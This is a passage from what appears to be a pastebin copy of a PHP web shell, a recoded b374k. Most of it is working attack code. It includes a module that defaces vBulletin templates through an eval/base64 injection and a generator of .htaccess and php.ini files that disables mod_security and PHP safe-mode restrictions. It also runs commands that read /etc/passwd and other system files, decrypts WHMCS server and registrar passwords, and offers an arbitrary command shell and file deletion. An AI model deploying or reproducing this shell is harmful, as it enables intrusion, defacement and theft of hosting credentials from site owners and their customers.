- $web = gethostbyname("webmail."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
- }
- # Bypass From Cpanel
- if($_POST['krz'] == "cpanel") {
- $cpanel = gethostbyname("cpanel."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=vb" method="post"><br><br><br>
- <div align="center">
- <?php
- if(empty($_POST['index'])){
- echo "<center><form method=\"POST\">
- DB Host : <input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
- DB Name : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
- DB User : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
- DB Pass : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
- <br>
- <textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
- <input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
- </form></center>";
- }else{
- $localhost = $_POST['localhost'];
- $database = $_POST['database'];
- $username = $_POST['username'];
- $password = $_POST['password'];
- $index = $_POST['index'];
- @mysql_connect($localhost,$username,$password) or die(mysql_error());
- @mysql_select_db($database) or die(mysql_error());
- $index=str_replace("\'","'",$index);
- $set_index = "{\${eval(base64_decode(\'";
- $set_index .= base64_encode("echo \"$index\";");
- $set_index .= "\'))}}{\${exit()}}</textarea>";
- echo("UPDATE template SET template ='".$set_index."' ") ;
- $ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
- if($ok){
- echo "!! update finish !!<br><br>";
- }
- }
- # Footer
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'sec'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=sec" method="post">
- <?php
- echo "<html>
- <center><br><br><font color=#FF0000 >[+] GENERATED php.ini [+]</font><br>
- <form method='POST' >
- <font color=#FF0000 > PATH : </font><input type='text' name='phpinisafemode' value='$pwd' style='color:#FF0000;background-color:#000000' />
- <input type='submit' name='dsmsubmit' style='color:#FF0000;background-color:#000000' value=' >> ' />
- </form>
- <br><br>
- <font color=#FF0000 >[+] GENERATED Htaccess [+}</font><br>
- <form method='POST' >
- <font color=#FF0000 > PATH : </font><input type='text' name='htaccesssafemode' style='color:#FF0000;background-color:#000000' value='$pwd' />
- <input type='submit' name='omssubmit' style='color:#FF0000;background-color:#000000' value=' >> ' />
- </form>";
- $dirphpini = $_POST['phpinisafemode'];
- $dirhtaccess = $_POST['htaccesssafemode'];
- $phpininamelol = "php.ini";
- if($_POST['omssubmit'])
- {
- $fse=fopen("$dirphpini.htaccess","w");
- fwrite($fse,'<IfModule mod_security.c>
- Sec------Engine Off
- Sec------ScanPOST Off
- </IfModule>');
- fclose($fse);
- }
- else if ($_POST['dsmsubmit'])
- {
- $fse=fopen("$dirhtaccess$phpininamelol","w");
- fwrite($fse,'safe_mode = OFF
- disable_functions = NONE
- safe_mode_gid = OFF
- open_basedir = OFF
- register_globals = ON
- exec = ON
- shell_exec = ON');
- fclose($fse);
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'proc'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=proc" method="post">
- <?php
- function processc99() {
- if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
- else {$handler = "tasklist";}
- $ret = myshellexec($handler);
- if (!$ret) {echo "Can't execute \"".$handler."\"!";}
- else {
- if (empty($processes_sort)) {$processes_sort = $sort_default;}
- $parsesort = parsesort($processes_sort);
- if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
- $k = $parsesort[0];
- $ret = htmlspecialchars($ret);
- if (!$win) {
- if ($pid) {
- if (is_null($sig)) {$sig = 9;}
- echo "Sending signal ".$sig." to #".$pid."... ";
- if (posix_kill($pid,$sig)) {echo "OK.";}
- else {echo "ERROR.";}
- }
- while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
- $stack = explode("\n",$ret);
- $head = explode(" ",$stack[0]);
- unset($stack[0]);
- $prcs = array();
- foreach ($stack as $line)
- {
- if (!empty($line))
- {
- echo "<tr>";
- $line = explode(" ",$line);
- $line[10] = join(" ",array_slice($line,10));
- $line = array_slice($line,0,11);
- $prcs[] = $line;
- echo "</tr>";
- } } }
- else {
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- $ret = convert_cyr_string($ret,"d","w");
- $stack = explode("\n",$ret);
- unset($stack[0],$stack[2]);
- $stack = array_values($stack);
- $head = explode("",$stack[0]);
- $head[1] = explode(" ",$head[1]);
- $head[1] = $head[1][0];
- $stack = array_slice($stack,1);
- unset($head[2]);
- $head = array_values($head);
- if ($k > count($head)) {$k = count($head)-1;}
- $prcs = array();
- foreach ($stack as $line)
- {
- if (!empty($line))
- {
- echo "<tr>";
- $line = explode("",$line);
- $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
- $line[2] = intval(str_replace(" ","",$line[2]))*1024;
- $prcs[] = $line;
- echo "</tr>";
- }
- }
- }
- $head[$k] = "<b>".$head[$k]."</b>".$y;
- $v = $processes_sort[0];
- if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
- $tab = array();
- $tab[] = $head;
- $tab = array_merge($tab,$prcs);
- echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
- foreach($tab as $i=>$k)
- {
- echo "<tr>";
- foreach($k as $j=>$v) {
- if ($win and $i > 0 and $j == 2) {
- $v = view_size($v);
- }
- echo "<td>".$v."</td>";}
- echo "</tr>";
- }
- echo "</table>";
- }
- }
- echo "<center><br><br>";
- if($win) {
- echo "<form method='post'>
- <select style='color:#FF0000;background-color:#000000' name='windowsprocess'>
- <option name='systeminfo'>System Info</option>
- <option name='active'>Active Connections</option>
- <option name='runningserv'>Running Services</option>
- <option name='useracc'>User Accounts</option>
- <option name='showcom'>Show Computers</option>
- <option name='arptab'>ARP Table</option>
- <option name='ipconf'>IP Configuration</option>
- </select>
- <input type='submit' style='color:#FF0000;background-color:#000000' name='submitwinprocess' value='View'>
- </form>
- ";
- } else {
- echo "<form method='post'>
- <select style='color:#FF0000;background-color:#000000' name='nonwindowsprocess'>
- <option name='processsta'>Process status</option>
- <option name='syslog'>Syslog</option>
- <option name='resolv'>Resolv</option>
- <option name='hosts'>Hosts</option>
- <option name='passwd'>Passwd</option>
- <option name='cpuinfo'>Cpuinfo</option>
- <option name='version'>Version</option>
- <option name='sbin'>Sbin</option>
- <option name='interrupts'>Interrupts</option>
- <option name='lsattr'>lsattr</option>
- <option name='uptime'>Uptime</option>
- <option name='fstab'>Fstab</option>
- <option name='hddspace'>HDD Space</option>
- </select>
- <input type='submit' style='color:#FF0000;background-color:#000000' name='submitnonwinprocess' value='View'>
- </form>
- ";
- }
- $windowsprocess = $_POST['windowsprocess'];
- $nonwindowsprocess = $_POST['nonwindowsprocess'];
- if ($windowsprocess=="System Info") $winruncom = "systeminfo";
- if ($windowsprocess=="Active Connections") $winruncom = "netstat -an";
- if ($windowsprocess=="Running Services") $winruncom = "net start";
- if ($windowsprocess=="User Accounts") $winruncom = "net user";
- if ($windowsprocess=="Show Computers") $winruncom = "net view";
- if ($windowsprocess=="ARP Table") $winruncom = "arp -a";
- if ($windowsprocess=="IP Configuration") $winruncom = "ipconfig /all";
- if ($nonwindowsprocess=="Process status") $systeminfo = "ps aux";
- if ($nonwindowsprocess=="Syslog") $winruncom = "cat /etc/syslog.conf";
- if ($nonwindowsprocess=="Resolv") $winruncom = "cat /etc/resolv.conf";
- if ($nonwindowsprocess=="Hosts") $winruncom = "cat /etc/hosts";
- if ($nonwindowsprocess=="Passwd") $winruncom = "cat /etc/passwd";
- if ($nonwindowsprocess=="Cpuinfo") $winruncom = "cat /proc/cpuinfo";
- if ($nonwindowsprocess=="Version") $winruncom = "cat /proc/version";
- if ($nonwindowsprocess=="Sbin") $winruncom = "ls -al /usr/sbin";
- if ($nonwindowsprocess=="Interrupts") $winruncom = "cat /proc/interrupts";
- if ($nonwindowsprocess=="lsattr") $winruncom = "lsattr -va";
- if ($nonwindowsprocess=="Uptime") $winruncom = "uptime";
- if ($nonwindowsprocess=="Fstab") $winruncom = "cat /etc/fstab";
- if ($nonwindowsprocess=="HDD Space") $winruncom = "df -h";
- if (isset($winruncom)) {
- echo "<table class='cmdbox'>
- <tbody><tr>
- <td colspan='2'>
- <textarea class='output' name='content'>".exe($winruncom)."</textarea>
- </td></tr></table></center>";
- }
- if (isset($systeminfo)) {
- echo "<br><br>";
- processc99();
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
- <?php
- function decrypt ($string,$cc_encryption_hash)
- {
- $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
- $hash_key = _hash ($key);
- $hash_length = strlen ($hash_key);
- $string = base64_decode ($string);
- $tmp_iv = substr ($string, 0, $hash_length);
- $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
- $iv = $out = '';
- $c = 0;
- while ($c < $hash_length)
- {
- $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
- ++$c;
- }
- $key = $iv;
- $c = 0;
- while ($c < strlen ($string))
- {
- if (($c != 0 AND $c % $hash_length == 0))
- {
- $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
- }
- $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
- ++$c;
- }
- return $out;
- }
- function _hash ($string)
- {
- if (function_exists ('sha1'))
- {
- $hash = sha1 ($string);
- }
- else
- {
- $hash = md5 ($string);
- }
- $out = '';
- $c = 0;
- while ($c < strlen ($hash))
- {
- $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
- $c += 2;
- }
- return $out;
- }
- echo "<hr>
- <br>
- <center>
- <br>
- <FORM action='' method='post'>
- <input type='hidden' name='form_action' value='2'>
- <br>
- <table border=1>
- <tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_host' value='localhost'></td></tr>
- <tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_username' value=''></td></tr>
- <tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_password' value=''></td></tr>
- <tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_name' value=''></td></tr>
- <tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:#000000' type='text' size='30' name='cc_encryption_hash' value=''></td></tr>
- </table>
- <br>
- <INPUT class=submit type='submit' style='color:#FF0000;background-color:#000000' value='Submit' name='Submit'>
- </FORM>
- </center>
- <hr>";
- if($_POST['form_action'] == 2 )
- {
- //include($file);
- $db_host=($_POST['db_host']);
- $db_username=($_POST['db_username']);
- $db_password=($_POST['db_password']);
- $db_name=($_POST['db_name']);
- $cc_encryption_hash=($_POST['cc_encryption_hash']);
- $link=mysql_connect($db_host,$db_username,$db_password) ;
- mysql_select_db($db_name,$link) ;
- $query = mysql_query("SELECT * FROM tblservers");
- while($v = mysql_fetch_array($query)) {
- $ipaddress = $v['ipaddress'];
- $username = $v['username'];
- $type = $v['type'];
- $active = $v['active'];
- $hostname = $v['hostname'];
- echo("<center><table border='1'>");
- $password = decrypt ($v['password'], $cc_encryption_hash);
- echo("<tr><td>Type</td><td>$type</td></tr>");
- echo("<tr><td>Active</td><td>$active</td></tr>");
- echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
- echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
- echo("<tr><td>Username</td><td>$username</td></tr>");
- echo("<tr><td>Password</td><td>$password</td></tr>");
- echo "</table><br><br></center>";
- }
- $link=mysql_connect($db_host,$db_username,$db_password) ;
- mysql_select_db($db_name,$link) ;
- $query = mysql_query("SELECT * FROM tblregistrars");
- echo("<center>Domain Reseller <br><table border='1'>");
- echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
- while($v = mysql_fetch_array($query)) {
- $registrar = $v['registrar'];
- $setting = $v['setting'];
- $value = decrypt ($v['value'], $cc_encryption_hash);
- if ($value=="") {
- $value=0;
- }
- $password = decrypt ($v['password'], $cc_encryption_hash);
- echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
- }
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')) { ?>
- <form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
- <table class="cmdbox">
- <tr><td colspan="2"><textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) {
- echo @exe($_POST['cmd']);
- } ?> </textarea>
- <tr>
- <td colspan="2">CMD :
- <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value=""/>
- <input class="inputzbut" type="submit" value=">>" name="submitcmd" style="width:12%;" /></td></tr></table></form>
- <?php } else {
- if(isset($_GET['delete']) && ($_GET['delete'] != "")) {
- $file = $_GET['delete'];
- @unlink($file);
- } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
- @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
- } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
- $path = $pwd.$_GET['mkdir'];
- @mkdir($path);
- } $buff = showdir($pwd,$prompt);
- echo $buff;
- }
- ?>
- <object data="http://flash-mp3-player.net/medias/player_mp3.swf" height="0" type="application/x-shockwave-flash" width="0"><param value="#ffffff" name="bgcolor"><param value="mp3=http://188.165.69.246/the_reason.mp3&loop=1&autoplay=1&volume=150" name="FlashVars"></object>
- <center><br><br>
- -=[ b374k R3COD3D By <span class="gaya"><a href="http://facebook.com/PeZeEf">4NU</a></span> ]=-<br>
- © 2013 JAYALAH INDONESIA KU<br/>
- <img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></center><br><br>
- </body>
- </html
Add Comment
Please, Sign In to add comment